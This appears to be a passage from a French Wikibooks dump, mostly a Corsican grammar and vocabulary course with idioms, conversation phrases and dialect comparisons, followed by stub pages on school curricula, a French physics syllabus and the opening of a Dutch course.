bgcolor="#abcdef" | 1ère personne (singulier) || 2ème personne (singulier) || 3ème personne (masculin singulier) || 3ème personne (féminin singulier) |- bgcolor="#abcdef" | '''mi''' (me) || '''ti''' (te) || '''si''' (se) || '''si''' (se) |- bgcolor="#abcdef" | 1ère personne (pluriel) || 2ème personne (pluriel) || 3ème personne (masculin pluriel) || 3ème personne (féminin pluriel) |- bgcolor="#abcdef" | '''ci''' (nous) || '''vi''' (vous) || '''si''' (se) || '''si''' (se) |} === Les pronoms démonstratifs === {| |- bgcolor="#abcdef" | masculin singulier || féminin singulier || masculin pluriel || féminin pluriel |- bgcolor="#abcdef" | '''quissu''' (celui-ci) || '''quissa''' (celle-ci) || '''quissi''' (ceux-ci) || '''quissi''' (celles-ci) |} {| |- bgcolor="#abcdef" | masculin singulier || féminin singulier || masculin pluriel || féminin pluriel |- bgcolor="#abcdef" | '''quistu''' (celui-ci) || '''quista''' (celle-ci) || '''quisti''' (ceux-ci) || '''quisti''' (celles-ci) |} Il est à noter que l'on ne dit pas '''quistu annu''' (cette année), mais '''custannu'''. {| |- bgcolor="#abcdef" | masculin singulier || féminin singulier || masculin pluriel || féminin pluriel |- bgcolor="#abcdef" | '''quiddu''' (celui-là) || '''quidda''' (celle-là) || '''quiddi''' (ceux-là) || '''quiddi''' (celles-là) |} === Les pronoms relatifs === {|- |- bgcolor="#abcdef" |'''quali''' (qui) || '''quali hè?''' (qui est-ce?) |- bgcolor="#abcdef" |'''chè''' (que) || '''''' () |- bgcolor="#abcdef" |'''chì''' (quoi) || '''''' () |- bgcolor="#abcdef" |'''chì''' (dont) || '''u libru chì t'aghju parlatu''' (le livre dont je t'ai parlé) |- bgcolor="#abcdef" |'''induva''' (où) || '''''' () |} == Les prépositions == === Les prépositions de lieu=== {| |- bgcolor="#abcdef" | '''prepusizioni''' || préposition |- bgcolor="#abcdef" | '''à''' || à |- bgcolor="#abcdef" | '''da''' || de |- bgcolor="#abcdef" | '''sopra''' || sur |- bgcolor="#abcdef" | '''sottu''' || sous |- bgcolor="#abcdef" | '''annantu''' || au-dessus |- bgcolor="#abcdef" | '''''' || au-dessous |- bgcolor="#abcdef" | '''in''' || dans |- bgcolor="#abcdef" | '''fora''' || hors |- bgcolor="#abcdef" | '''davanti''' || devant |- bgcolor="#abcdef" | '''daretu''' || derrière |- bgcolor="#abcdef" | '''trà''' || entre |- bgcolor="#abcdef" | '''à mezu''' || parmi |- bgcolor="#abcdef" | '''à manca''' || à gauche |- bgcolor="#abcdef" | '''à dritta''' || à droite |- bgcolor="#abcdef" | '''vicinu''' || près |- bgcolor="#abcdef" | '''accantu''' || à côté |- bgcolor="#abcdef" | '''indè''' || chez |- bgcolor="#abcdef" | '''versu''' || vers |} === Les prépositions de temps=== == Les conjonctions == == Les interjections == == Les adverbes == === Les adverbes de lieu === {| |- bgcolor="#abcdef" | '''in altrò''' || ailleurs |- bgcolor="#abcdef" | '''-''' || alentour |- bgcolor="#abcdef" | '''-''' || autour |- bgcolor="#abcdef" | '''drentu''' || dedans |- bgcolor="#abcdef" | '''fora''' || dehors |- bgcolor="#abcdef" | '''daretu''' || derrière |- bgcolor="#abcdef" | '''davanti''' || devant |- bgcolor="#abcdef" | '''sottu''' || dessous |- bgcolor="#abcdef" | '''sopra''' || dessus |- bgcolor="#abcdef" | '''daretu''' || derrière |- bgcolor="#abcdef" | '''quì''' || ici |- bgcolor="#abcdef" | '''quà''' || là |- bgcolor="#abcdef" | '''luntanu''' || loin |- bgcolor="#abcdef" | '''da partuttu''' || partout |- bgcolor="#abcdef" | '''dignalocu''' || partout |} On a également les locutions adverbiales. {| |- bgcolor="lightgreen" |'''-''' (locutions adverbiales) |- bgcolor="#abcdef" | '''in sù''' || en haut |- bgcolor="#abcdef" | '''in gnò''' || en bas |} === Les adverbes de temps === {| |- bgcolor="#abcdef" | '''innanzi''' || avant |- bgcolor="#abcdef" | '''dopu''' || après |- bgcolor="#abcdef" | '''oghji''' || aujourd'hui |- bgcolor="#abcdef" | '''-''' || auparavant |- bgcolor="#abcdef" | '''-''' || aussitôt |- bgcolor="#abcdef" | '''-''' || autrefois |- bgcolor="#abcdef" | '''tandu''' || alors |- bgcolor="#abcdef" | '''-''' || bientôt |- bgcolor="#abcdef" | '''-''' || cependant |- bgcolor="#abcdef" | '''dighjà''' || déjà |- bgcolor="#abcdef" | '''-''' || depuis |- bgcolor="#abcdef" | '''-''' || désormais |- bgcolor="#abcdef" | '''infini''' || enfin |- bgcolor="#abcdef" | '''-''' || ensuite |- bgcolor="#abcdef" | '''arrimani''' || hier |- bgcolor="#abcdef" | '''-''' || jadis |- bgcolor="#abcdef" | '''mai''' || jamais |- bgcolor="#abcdef" | '''avà''', '''avali''' || maintenant |- bgcolor="#abcdef" | '''-''' || parfois |- bgcolor="#abcdef" | '''po''', '''eppo''' || puis |- bgcolor="#abcdef" | '''quandu''' || quand |- bgcolor="#abcdef" | '''-''' || quelquefois |- bgcolor="#abcdef" | '''-''' || soudain |- bgcolor="#abcdef" | '''sempri''' || toujours |- bgcolor="#abcdef" | '''tardi''' || tard |- bgcolor="#abcdef" | '''-''' || tôt |- bgcolor="#abcdef" | '''-''' || tout à coup |- bgcolor="#abcdef" | '''-''' || tout de suite |} {| |- bgcolor="#abcdef" | '''dumani''' || demain |- bgcolor="#abcdef" | '''dumani matina''' || demain matin |- bgcolor="#abcdef" | '''dumani à sera''' || demain soir |- bgcolor="#abcdef" | '''dopu dumani''' || après-demain |- bgcolor="#abcdef" | '''arrimani''' || hier |- bgcolor="#abcdef" | '''arrisera''' || hier soir |- bgcolor="#abcdef" | '''nanzi d'arrimani''' || avant-hier |} === Les adverbes de manière === === Les adverbes d'affirmation === {| |- bgcolor="#abcdef" | '''isiè''' || oui |- bgcolor="#abcdef" | '''certamenti''' || certainement |- bgcolor="#abcdef" | '''sicuramenti''' || certainement |- bgcolor="#abcdef" | '''forsi''' || peut-être |- bgcolor="#abcdef" | '''podarsi''' || peut-être |- bgcolor="#abcdef" | '''fà chi''' || peut-être |- bgcolor="#abcdef" | '''''' || probablement |- bgcolor="#abcdef" | '''veramenti''' || vraiment |} === Les adverbes de négation === {| |- bgcolor="#abcdef" | '''innò''' || non |- bgcolor="#abcdef" | '''mai''' || jamais |- bgcolor="#abcdef" | '''più''' || plus |- bgcolor="#abcdef" | '''micca''' || pas |- bgcolor="#abcdef" | '''nudda''' || rien |- bgcolor="#abcdef" | '''nienti''' || rien |} === Les adverbes de quantité === === Les adverbes modaux === == Le vocatif == Le vocatif s'emploie pour apostropher, pour interpeller quelqu'un. Ce qui suit la dernière voyelle accentuée est tronqué: {| |- bgcolor="#abcdef" | '''Petru''' (Pierre) || '''ò Pè''' |- bgcolor="#abcdef" | '''Antonu''' (Antoine)|| '''ò Antò''' |- bgcolor="#abcdef" | '''Saveria''' (Xavière)|| '''ò Savè''' |- bgcolor="#abcdef" | '''Maria''' (Marie)|| '''ò Marì''' |- bgcolor="#abcdef" | '''Petru Paulu''' (Pierre-Paul)|| '''ò Petru Pà''' |- bgcolor="#abcdef" | '''Anton' Santu''' (Antoine-Toussaint)|| '''ò Anton' Sà''' |- bgcolor="#abcdef" | '''Angnula Maria''' (Angèle-Marie)|| '''ò Angnula Marì''' |} Mais le vocatif ne s'emploie pas uniquement avec les prénoms: {| |- bgcolor="#abcdef" | '''cumpari''' (compère) || '''ò cumpà''' (Hé, compère) |} et aussi: {| |- bgcolor="#abcdef" | '''babbu''' (père) || '''ò bà''' (papa) |- bgcolor="#abcdef" | '''mamma''' (mère) || '''ò mà''' (maman) |- bgcolor="#abcdef" | '''ziu''' (oncle) || '''ò zì''' (tonton) |- bgcolor="#abcdef" | '''zia''' (tante) || '''ò zì''' (tata) |- bgcolor="#abcdef" | '''missiavu''' (grand père) || '''ò missià''' (pépé) |- bgcolor="#abcdef" | '''minnana''' (grand mère) || '''ò minnà''' (mémé) |} == Phonologie == === Euphonie === Dans certains cas, afin de faciliter la prononciation, une consonne (en général, la lettre '''d''') est ajoutée entre deux mots. On emploie ainsi: '''ed''' à la place de '''è''' (et) '''ad''' à la place de '''à''' (à) {| |- bgcolor="#abcdef" | '''tù ed eiu''' || toi et moi |- bgcolor="#abcdef" | '''ad eddu''', '''ad edda''' || à lui, à elle |- bgcolor="#abcdef" | '''ad una ad una''', '''ad unu ad unu''' || une par une, un par un |- bgcolor="#abcdef" |} Dans d'autres cas, c'est une voyelle (en général, la lettre '''i''') qui est ajoutée entre deux mots: {| |- bgcolor="#abcdef" | '''in istacca''' || dans la poche |- bgcolor="#abcdef" | '''in istanza''' || dans la chambre |- bgcolor="#abcdef" | '''ùn isteti fora''' || ne restez pas dehors! |- bgcolor="#abcdef" |} == Les expressions == * '''à quandu troppu, à quandu micca''' * '''aghju vistu à Ghjobba''' (j'ai souffert le martyre) * '''allora? - U frati s'hè coltu a sora!''' * '''ancu si volta edda à tè''' (risposta à una ghjastema) * '''Angnula si chjamava''' * '''annantu una anca!''' * '''aqua in bocca e ditu in culu!''' * '''avvigni à Vignali chi hè un beddu paesi!''' * '''beddu chi pari una puppùsgiula''' beau comme un coeur (Littéralement : beau comme une huppe) * '''beddu com'è un' fiori''' (beau comme un coeur) * '''beddu chi pari un' fiori''' (beau comme un coeur) * '''bocca chjusa e aqua in bocca''' * '''briacu à tappu''' * '''briacu persu''' * '''briacu zuffu''' (complètement saoul) * '''bruttu puzzinosu''' (extrêmement sale) * '''bughju neru''' * '''carcu inzimpinatu''' (chargé comme un âne) * '''castrà i falchetti''' (couper les cheveux en quatre) * '''castrà i cucchi couper''' les cheveux en quatre * '''calca com'un falchettu''' * '''cerca a rogna à grattà''' (quand quelqu'un taquine quelqu'un d'autre) * '''ci capisci com'è i porchi in a musica''' (il n'y comprend absolument rien) * '''ci hè trè ghjatti''' * '''ci voli chi eddu falghi in Zirionu à fà ò di culu''' * '''cioncu com'è una campana''' (sourd comme un pot) * '''cioncu com'è un' biccazzu''' (sourd comme un pot) * '''cordu com'è un viulinu''' (complètement bourré) * '''cuntenti com'è un cuccu''' (content comme un pinson) * '''dannu e risa !''' * '''dumani ha da fà ghjornu!''' * '''faci l'arrega e porta''' * '''falà à ciarbeddu in bocca''' (descendre à tombeau ouvert) * '''falsu com'è a cicuta''' extrêmement faux * '''falsu com'è u ramu''' * '''fatigatu persu''' (extrêmement fatigué) * '''finu chi pari ostia''' extrêmement fin (littéralement : fin comme une hostie). * '''goffu com'è u piccatu''' (laid comme un pou.) * '''hè di capu e di coda''' (il est très dégourdi) * '''i calori di San Larenzu''' * '''in casa di Cristu''' dans les décors. (Littéralement : dans la maison du Seigneur). * '''in quartu, in quinta e in culu''' (se dit de parents éloignés avec qui on n'est pas bien) * '''in quattru e trè setti''' (en deux temps trois mouvements) * '''l'hà tagliatu u capu''' (c'est son portrait craché) * '''l'emu persu senza ghjucà lu à carti''' * '''largu in brenna e schersu in farina''' * '''malu com'è u piccatu''' * '''mangna paternostru e caca diauli''' * '''mansu tontu''' (complètement apprivoisé.) * '''neru com'è u carbonu''' * '''neru com'è u culu di a paghjola''' * '''novu framanti''' (flambant neuf) * '''parini foli!''' (c'est à peine croyable !) * '''pidda, stidda e tira in a zidda!''' * '''pidda, tadda e metti in tuadda!''' * '''un possu micca piglià à Cristu pa a barba''' (je ne peux pas faire l'impossible! * '''un sa fà un ò di canna''' il est ignorant * '''tocca, tocca, in bracciu à minnana''' (chacun son tour) * '''rossu chi pari un bagu''' (tout rouge) * '''rossu imbagatu''' (tout rouge) * '''sali e sapienza''' * '''scemu compiu''' (complètement fou) * '''scemu in tuttu''' (complètement fou) * '''seccu incastulatu''' (complètement sec) * '''sempri festa in Ampaza !''' (ce n'est pas tous les jours fête.) * '''sé tù campi n'ha da veda d'altri''' * '''un hè mancu una fraula in bocca à l'orsu''' (ce n'est vraiment pas beaucoup) * '''un sa indù cacà l'ovu''' (d'un instable, qui ne sait pas où se fixer) * '''stà solu com'è l'arimitu''' (rester seul comme un ermite) * '''stancu mortu''' (complètement épuisé * '''tamant'è u mondu''' (immense) * '''tontu com'è un sameri''' * '''tontu com'è un viteddu''' * '''tontu da lià''' * '''tontu di baddi''' * '''tontu in tuttu''' (complètement fou) * '''tontu persu''' (totalement fou) * '''Torna à Vignali chi hè u beddu paesi !''' * '''un annu hè cuccu, un annu hè falcu''' * '''un li manca cà a parola''' (elle est très perfectionnée) * '''un n'ha nè pà u capu nè pà a coda''' (on ne sait pas par quel bout le prendre) * '''un ni sorti mancu in calzunettu''' * '''un vedi mancu u corbu in u latti !''' (tu ne le vois pas alors qu'il est sous tes yeux !) * '''va à circà u ruspu in a tana''' * '''vechju zèrricu''' (extrêmement vieux) * '''vogli di corpu''' (des désirs irréalisables) sò vogli di corpu! == Les tournures== * '''fà si una mangnata''' * '''fà si una bita''' (boire un coup) * '''fà si una discutita''' (discuter le coup) * '''issi pochi ghjorna''' (ces derniers jours) * '''cusì cusì''' (comme ci, comme ça) * '''tantu quantu''' plus ou moins ==Lexique== === Les jours de la semaine === {| |- bgcolor="#abcdef" | '''luni''' || lundi |- bgcolor="#abcdef" | '''marti''' || mardi |- bgcolor="#abcdef" | '''marcuri''' || mercredi |- bgcolor="#abcdef" | '''ghjovi''' || jeudi |- bgcolor="#abcdef" | '''vennari''' || vendredi |- bgcolor="#abcdef" | '''sabatu''' || samedi |- bgcolor="#abcdef" | '''dumenica''' || dimanche |} === Les mois === * '''ghjinnaghju''' : janvier * '''frivaghju''' : février * '''marzu''' : mars * '''aprili''' : avril * '''maghju''' : mai * '''ghjugnu''' : juin * '''lugliu''' : juillet * '''aostu''' : aout * '''sittembri''' : septembre * '''uttrovi''' : octobre * '''nuvembri''': novembre * '''dicembri''' : décembre === Les saisons === * '''u branu''': le printemps * '''l'istati''': l'été * '''u vaghjimu''': l'automne * '''l'inguernu''': l'hiver === La famille === * '''u babbu''': le père * '''a mamma''': la mère * '''u figliolu''': le fils * '''a figliola''': la fille * '''u frateddu''': le frère * '''a suredda''': la soeur * '''u ziu''': l'oncle * '''a zia''': la tante * '''u nipoti''': le neveu * '''a nipoti''': la nièce * '''u cucinu carnali''': le cousin germain * '''a cucina carnali''': la cousine germaine * '''u cucinu di terzu''': le cousin au troisème degré * '''u niputinu''': le petit-neveu * '''a niputina''': la petite-nièce * '''u missiavu''': le grand-père * '''a minnana''': la grand-mère * '''l'arcimissiavu''': l'arrière grand-père * '''l'arciminnana''': l'arrière grand-mère * '''u purmissiavu''': l'arrière-arrière grand-père * '''a purminnana''': l'arrière-arrière grand-mère * '''u bisfigliolu''': le petit-fils * '''a bisfigliola''': la petite-fille * '''u sociaru''': le beau-père * '''a sociara''': la belle-mère * '''u ghjennaru''': le gendre * '''a nora''': la belle-fille, la bru ===Les fruits=== <gallery> Image:More_pears.jpg|'''u peru''': la poire Image:Fuji_apple.jpg|'''a mela''': la pomme Image:Fig.jpg|'''u ficu''': la figue Image:Cherry.JPG|'''a chjarasgia''': la cerise Image:Melon_cantaloupe.jpg|'''u milonu''': le melon Image:|'''a prugnola''': la prune Image:Wine_grapes03.jpg|'''l'uva''': le raisin Image:|'''a pastecca''': la pastèque Image:FraiseFruitPhoto.jpg|'''a fraula''': la fraise Image:Walnuts.jpg|'''a noci''': la noix Image:Almonds_th.jpg|'''l'amandula''': l'amande Image:Hazelnuts.jpg|'''a nucetta''': la noisette </gallery> * '''a prugnola''': la prune * '''a pastecca''': la pastèque * '''a noci''': la noix * '''l'amandula''': l'amande * '''a nucetta''': la noisette === Les légumes === <gallery> Image:Carrot.jpg|'''a carrotta''' : la carotte Image:Tomaten_im_Supermarktregal.jpg|'''a pumata''': la tomate Image:Citrullus_vulgaris.jpg|'''a zucca''': la courge Image:Cauliflower.jpg|'''u caulifiori''': le chou-fleur Image:Courgette.jpg|'''a zucchetta''' : la courgette Image:Turnip.JPG|'''u radichju''' : le radis Image:Garlic.jpg|'''l'aglia''' : l'ail Image:Cucumber.jpg|'''u cuccumaru''' : le concombre Image:Parsley.jpg|'''u pursemulu''' : le persil Image:Beans_dsc07814.jpg|'''u fasgiolu''' : le haricot Image:Wirsingkohl.jpg|'''u carbusgiu''' : le chou Image:Potatos_cultivar_Marabel.JPG|'''u pomu''' : la pomme de terre Image:Prei_winter_Farinto_geoogst.jpg|'''u porru''' : le poireau Image:Lettuce_head_batavia_variety.jpeg|'''l'insalata''' : la salade Image:Shallots_-_sliced_and_whole.jpg|'''a ciuvodda''' (ou '''a civodda''') : l’oignon Image:|'''u pivaronu''' : le poivron Image:|'''i lintichja''' : les letilles Image:|'''u pursemulu''' : le persil </gallery> === Les couleurs === * '''biancu''': blanc * '''neru''': noir * '''verdi''': vert * '''rossu''': rouge * '''giaddu''': jaune * '''grisgiu''': gris * '''viulettu''': violet * '''turchinu''': bleu === Les ustensiles de cuisine === <gallery> Image:|'''u piattu spartu''': l'assiette (plate) Image:|'''u piattu cupputu''': l'assiette (creuse) Image:Glass.jpg|'''u bichjeri''': le verre Image:Paring_Knife.jpg|'''u culteddu''': le couteau Image:|'''a cuchjara''': la cuillère Image:Tablespoon6234.jpg|'''a cuchjarina''': la petite cuillère Image:Fork.agr.jpg|'''a furcina''': la fourchette </gallery> * '''u piattu spartu''': l'assiette (plate) * '''u piattu cupputu''': l'assiette (creuse) * '''a cuchjara''': la cuillère * '''u cuchjaronu''': la louche * '''a vanchjera''': le plat === Les animaux domestiques === <gallery> Image:Donkey_1_arp_750px.jpg|'''u sameri''' : l'âne Image:Cavaddu.JPG|'''u cavaddu''' : le cheval Image:Mix_breed_dog.jpg|'''u ghjacaru''': le chien Image:Cat03.jpg|'''u qhjattu''': le chat Image:Mother hen with chicks02.jpg|'''a ghjaddina''': la poule Image:Toscana_Schafe.jpg|'''a pecura''': la brebis Image:Landsvin-gris.JPG|'''u porcu''': le cochon |'''u boiu''': le boeuf |'''a vacca''': la vache |'''u viteddu''': le veau </gallery> === Les animaux sauvages=== <gallery> Image:WildZwijn.jpg|'''u cignali''' : le sanglier Image:Silz_cerf20.jpg|'''u cervu''' : le cerf |'''a beddula''' : la belette Image:Buteo_buteo_5_%28Marek_Szczepanek%29.jpg|'''u buzaiu''': la buse Image:428px-Common_Kestrel_1.jpg|'''u falchettu''': le faucon Image:Abeilles3.jpg|'''l'abba''': l'abeille |'''u rundonu''': l'hirondelle </gallery> ==La conversation== s'adressant à une seul personne (tutoiement) * - '''Comu va?''' (comment vas-tu?) - '''Vocu bè.''' (je vais bien) * - '''Comu sè?''' (comment vas-tu?) - '''Socu bè.''' (je vais bien) * - '''Comu sta?''' (comment vas-tu?) - '''Stocu bè.''' (je vais bien) s'adressant à une seule personne (vouvoiement) * - '''Com'andeti?''' (comment allez-vous?) - '''Vocu bè.''' (je vais bien) * - '''Comu seti?''' (comment allez-vous?) - '''Socu bè.''' (je vais bien) * - '''Comu steti?''' (comment allez-vous?) - '''Stocu bè.''' (je vais bien) s'adressant à plusieurs personnes * - '''Com'andeti?''' (comment allez-vous?) - '''Andemu bè.''' (nous allons bien) * - '''Comu seti?''' (comment allez-vous?) - '''Semu bè.''' (nous allons bien) * - '''Comu steti?''' (comment allez-vous?) - '''Stemu bè.''' (nous allons bien) * '''Quantu t'ha anni?''' (quel âge as-tu?) * '''Chì ità t'hà?''' (quel âge a-t-il?) * '''Chì ora sò?''' (quelle heure est-il?) <gallery> Image:Reloj.JPG|'''Sò deci ori è quartu.''' (il est dix heures et quart) Image:Clock PKP.jpg|'''Sò dui ori.''' (il est deux heures) Image:Montre-breguet-2.jpg|'''Sò un' ora menu deci.''' (il est une heure moins dix) Image:Pocket_watch_with_chain.jpg|'''Sò trè ori menu vinti cinqui.''' (il est trois heures moins vingt-cinq) Image:Tissot_Ballade_01.jpg|'''Sò ondici ori è mezu.''' (il est onze heures et demie) </gallery> * '''U quantu n'avemu?''' (quel jour est-on?) - '''N'avemu u deci.''' (nous sommes le 10) == Les différences entre la variété taravaise et la variété sarteniase == Il existe un certain nombre de différences entres les variétés taravaise et sartenaise de la langue corse. Cependant, des règles simples permettent de passer aisément de l'une à l'autre. Ces règles sont les suivantes: Le groupe '''gli''' taravais est transformé en '''dd''' en sartenais : {| |- bgcolor="#abcdef" | '''gli''' || '''dd''' |- bgcolor="#abcdef" | '''paglia''' || '''padda''' (paille) |- bgcolor="#abcdef" | '''bagnalia''' || '''bagnadda''' (rosée) |- bgcolor="#abcdef" | '''piglià''' || '''piddà''' (prendre) |- bgcolor="#abcdef" | '''taglià''' || '''taddà''' (prendre) |- bgcolor="#abcdef" | '''tuvaglia''' || '''tuvadda''' (nappe) |- bgcolor="#abcdef" |} Le '''e''' ouvert taravais est transformé en '''i''' en sartenais: {| |- bgcolor="#abcdef" | '''e''' || '''i''' |- bgcolor="#abcdef" | '''nevi''' || '''nivi''' (neige) |- bgcolor="#abcdef" | '''seccu''' || '''siccu''' (sec) |- bgcolor="#abcdef" | '''beccu''' || '''biccu''' (bouc) |- bgcolor="#abcdef" | '''battaleghja''' || '''battalighja''' (il papote) |- bgcolor="#abcdef" | '''zifuleghjani''' || '''zifulighjani''' (ils sifflent) |- bgcolor="#abcdef" |} Le '''o''' ouvert taravais est transformé en '''u''' en sartenais: {| |- bgcolor="#abcdef" | '''o''' || '''u''' |- bgcolor="#abcdef" | '''volpi''' || '''vulpi''' (renard) |- bgcolor="#abcdef" | '''rossu''' || '''russu''' (rouge) |- bgcolor="#abcdef" | '''sottu''' || '''suttu''' (sous) |- bgcolor="#abcdef" | '''aostu''' || '''austu''' (août) |- bgcolor="#abcdef" | '''sopra''' || '''supra''' (sur) |- bgcolor="#abcdef" |} Le '''e''' fermé taravais est transformé en '''e''' ouvert en sartenais: {| |- bgcolor="#abcdef" | '''e''' fermé || '''e''' ouvert |- bgcolor="#abcdef" | '''lettu''' || '''lettu''' (lit) |- bgcolor="#abcdef" |} Enfin, le '''o''' fermé taravais est transformé en '''o''' ouvert en sartenais: {| |- bgcolor="#abcdef" | '''o''' fermé || '''o''' ouvert |- bgcolor="#abcdef" | '''mortu''' || '''mortu''' (mort) |- bgcolor="#abcdef" | '''dossu''' || '''dossu''' (dos) |- bgcolor="#abcdef" | '''portu''' || '''portu''' (port) |- bgcolor="#abcdef" |} == Appendices == #[[Corse : expressions corses]] #[[wikt:accueil|Dictionnaire Corse-Français]] #[[:co:wikt:Main Page|Dictionnaire Français-Corse]] #[[prénoms corses|Prénoms corses]] #[[proverbes corses|Proverbes corses '''Pruverbii''']] #[[toponymes corses|Toponymes corses '''Toponimi''']] == Bibliographie == * Foata, Pierre (1980) ''Essai sur les dialectes du Sud de la Corse'', Art et Artisanat rural == A propos du livre == #[[Auteurs]] #[[Historique]] == Liens externes == [http://co.wikipedia.org wikipedia en langue corse] [http://co.wiktionary.org U wikizziunariu, wiktionary en langue corse] [http://www.linguacorsa.net A lingua corsa adatta à e nove tecnulugie] Wikilivres:Enseignement secondaire 4666 17250 2005-07-22T15:23:09Z 217.184.161.43 Enseignement secondaire 4667 26687 2005-12-10T12:45:40Z 213.214.56.70 /* première */ == France == === maths === ==== sixième ==== [[programme de maths français de sixième]] ==== cinquième ==== [[programme de maths français de cinquième]] ==== quatrième ==== [[programme de maths français de quatrième]] ==== troisième ==== [[programme de maths français de troisième]] ==== seconde ==== [[programme de maths français de seconde]] ==== première ==== [[programme de maths français de première]] ==== terminale ==== [[programme de maths français de terminale]] === physique === ==== sixième ==== [[programme de physique français de sixième]] ==== cinquième ==== [[programme de physique français de cinquième]] ==== quatrième ==== [[programme de physique français de quatrième]] ==== troisième ==== [[programme de physique français de troisième]] ==== seconde ==== [[programme de physique français de seconde]] ==== première ==== [[programme de physique français de première]] ==== terminale ==== [[programme de physique français de terminale]] === chimie === ==== sixième ==== ==== cinquième ==== ==== quatrième ==== ==== troisième ==== ==== seconde ==== ==== première ==== ==== terminale ==== === biologie === ==== sixième ==== ==== cinquième ==== ==== quatrième ==== ==== troisième ==== ==== seconde ==== ==== première ==== ==== terminale ==== === Technologie === ====Cycle d'adaptation (sixième) ==== *Programme de 2006 Thème : le transport. ====Cycle central (cinquième & quatrième) ==== *Programme de 1997 à 2006 *Programme de 2007 ====Cycle d'orientation (troisième) ==== == Belgique == === mathématiques === ==== première ==== ==== deuxième ==== ==== troisième ==== ==== quatrième ==== ==== cinquième ==== ==== sixième ==== === physique === ==== première ==== ==== deuxième ==== ==== troisième ==== ==== quatrième ==== ==== cinquième ==== ==== sixième ==== === chimie === ==== première ==== ==== deuxième ==== ==== troisième ==== ==== quatrième ==== ==== cinquième ==== ==== sixième ==== === biologie === ==== première ==== ==== deuxième ==== ==== troisième ==== ==== quatrième ==== ==== cinquième ==== ==== sixième ==== == Suisse == === maths === === physique === === chimie === === biologie === === technologie === == Québec == === maths === === physique === === chimie === === biologie === === technologie === Programme de physique français de seconde 4669 17258 2005-07-22T16:35:45Z 217.184.161.43 == Exploration de l'espace == === De l'atome aux galaxies === ==== [[Présentation de l'Univers]] ==== L’atome, la Terre, le système solaire, la Galaxie, les autres galaxies. ==== [[Échelle des longueurs]] ==== * Échelle des distances dans l’univers de l’atome aux galaxies. Unités de longueur. * Taille comparée des différents systèmes. ==== [[L'année de lumière]] ==== * Propagation rectiligne de la lumière. * Vitesse de la lumière dans le vide et dans l’air. * Définition et interêt de l'année de lumière. === Messages de la lumière === ==== [[Un système dispersif, le prisme]] ==== * Caractérisation d’une radiation. * Lois de Descartes sur la réfraction pour une radiation (l’un des milieux étant l’air). * Dispersion de la lumière blanche par un prisme. * Variation de l’indice d’un milieu transparent selon la radiation qui le traverse; interprétation qualitative de la dispersion de la lumière par un prisme. ==== [[Les spectres d’émission et d’absorption]] ==== *Spectres d’émission **Spectres continus d’origine thermique. **Spectres de raies. *Spectres d’absorption **Bandes d’absorption de solutions colorés. **Raies d’absorption caractéristiques d’un atome ou d’un ion. ==== [[Application à l’astrophysique]] ==== == L'univers en mouvements et le temps == === Mouvements et forces === ==== [[Relativité du mouvement]] ==== ==== [[Principes d'inertie]] ==== * Effets d'une force sur le mouvement d'un corps. Rôle de la masse du corps. * Enoncé du principe d'inertie pour un observateur terrestre : « tout corps persévère en son état de repos ou de mouvement rectiligne uniforme si les forces qui s'exercent sur lui se compensent ». ==== [[La gravitation universelle]] ==== * L'interaction gravitationnelle entre deux corps. * La pesanteur résulte de l'attraction terrestre. Comparaison du poids d'un même corps sur la Terre et sur la Lune. * Trajectoire d'un projectile. Interprétation du mouvement de la Lune (ou d'un satellite) par extrapolation du mouvement d'un projectile. === Le temps === Utilisation d'un phénomène périodique. ==== [[Phénomènes astronomiques]] ==== L'alternance des jours et des nuits, des phases de la lune, des saisons permettent de régler le rythme de la vie (jour, heure, mois, année). ==== [[Dispositifs construits par l'Homme]] ==== == L'air qui nous entoure == === Du macroscopique au microscopique === ==== [[Description d'un gaz à l'échelle microscopique]] ==== ==== [[Nécessité de décrire l'état gazeux par des grandeurs physiques macroscopiques]] ==== ==== [[Notion de pression]] ==== * force pressante exercée sur une surface, perpendiculairement à cette surface. * définition de la pression exercée sur une paroi par la relation P=F/S. * instrument de mesure de la pression : le manomètre. * unités de pression. * mise en évidence et origine de la pression dans un gaz ; interprétation microscopique. ==== [[Notion d'état thermique]] ==== De nombreux phénomènes physiques peuvent renseigner sur l'état thermique d'un corps comme : la dilatation des liquides, la dilatation des gaz, la variation de la résistance électrique, l'émission de rayonnement (cf. Messages de la lumière)… La mesure d'une température implique l'équilibre thermique de deux corps en contact. === [[équation des gazs parfaits|Lien entre agitation thermique et température : équation des gazs parfaits]] === * l'agitation des molécules constituant un gaz à faible pression caractérise son état thermique et peut être utilisée pour définir sa température. * tous les gaz permettent de définir la même échelle de température, dite échelle Kelvin. * l'absence d'agitation thermique correspond au zéro absolu. * unité de température absolue : le Kelvin. * la température en degré Celsius est déduite de la température absolue T. Métode des éléments finis - Formulation 4671 17265 2005-07-22T17:37:39Z Esope 99 Métode des éléments finis - Formulation déplacé vers Méthode des éléments finis - Formulation: Faute d'orthographe dans le titre (s/métode/méthode) #redirect [[Méthode des éléments finis - Formulation]] Image:Structure tables robots.png 4675 17288 2005-07-22T22:33:44Z Jidébé 423 Schéma montrant le struture des tables de bases de données pour le traitement des visites de robots Schéma montrant le struture des tables de bases de données pour le traitement des visites de robots Enseignement du néerlandais 4677 40425 2006-04-17T11:52:41Z 82.73.179.23 /* Le néerlandais */ {{Néerlandais}} == Le néerlandais == Il s'agit d'une langue du groupe ouest-germanique et vous noterez que dans sa structure et son vocabulaire, il est très proche de l'[[Enseignement de l'anglais|anglais]] et de l'[[Enseignement de l'allemand|allemand]]. Le néerlandais est parfois aussi appelé ''hollandais'' et c'est bien dans cette région autour des villes d'[[w:Amsterdam|Amsterdam]], de [[w:Rotterdam|Rotterdam]] et de [[w:la Haye|la Haye]] que s'est différenciée la langue à partir du XVI<sup>e</sup> siècle. Aujourd'hui, la langue est aussi parlée dans d'autres territoires: * L'ensemble des [[w:Pays-Bas|Pays-Bas]] (avec le frison dans le nord du pays) et les [[w:Antilles néerlandaises|Antilles néerlandaises]] ([[w:Aruba|Aruba]], [[w:Bonaire|Bonaire]], [[w:Curaçao|Curaçao]]) ; * Les régions belges de [[w:Flandre|Flandre]] et de [[w:Bruxelles Capitale|Bruxelles-Capitale]] ; * Le [[w:Suriname|Suriname]]. Ces trois entités forment ensemble une ''union linguistique'' (''De Nederlandse Taalunie'') pour faire évoluer ensemble la langue.<br> <div align=center> [[Image:1247-Amsterdam.jpg|120px]] [[Image:Brugge.jpg|100px]] [[Image:Gildehuizen Antwerpen.jpg|100px]] </div> Une variété de néerlandais est aussi parlée en [[w:Afrique du Sud|Afrique du Sud]] appelé '''Afrikaans''' où elle a été apportée par les colons néerlandais et belges ([[w:Boer|Boers]]). 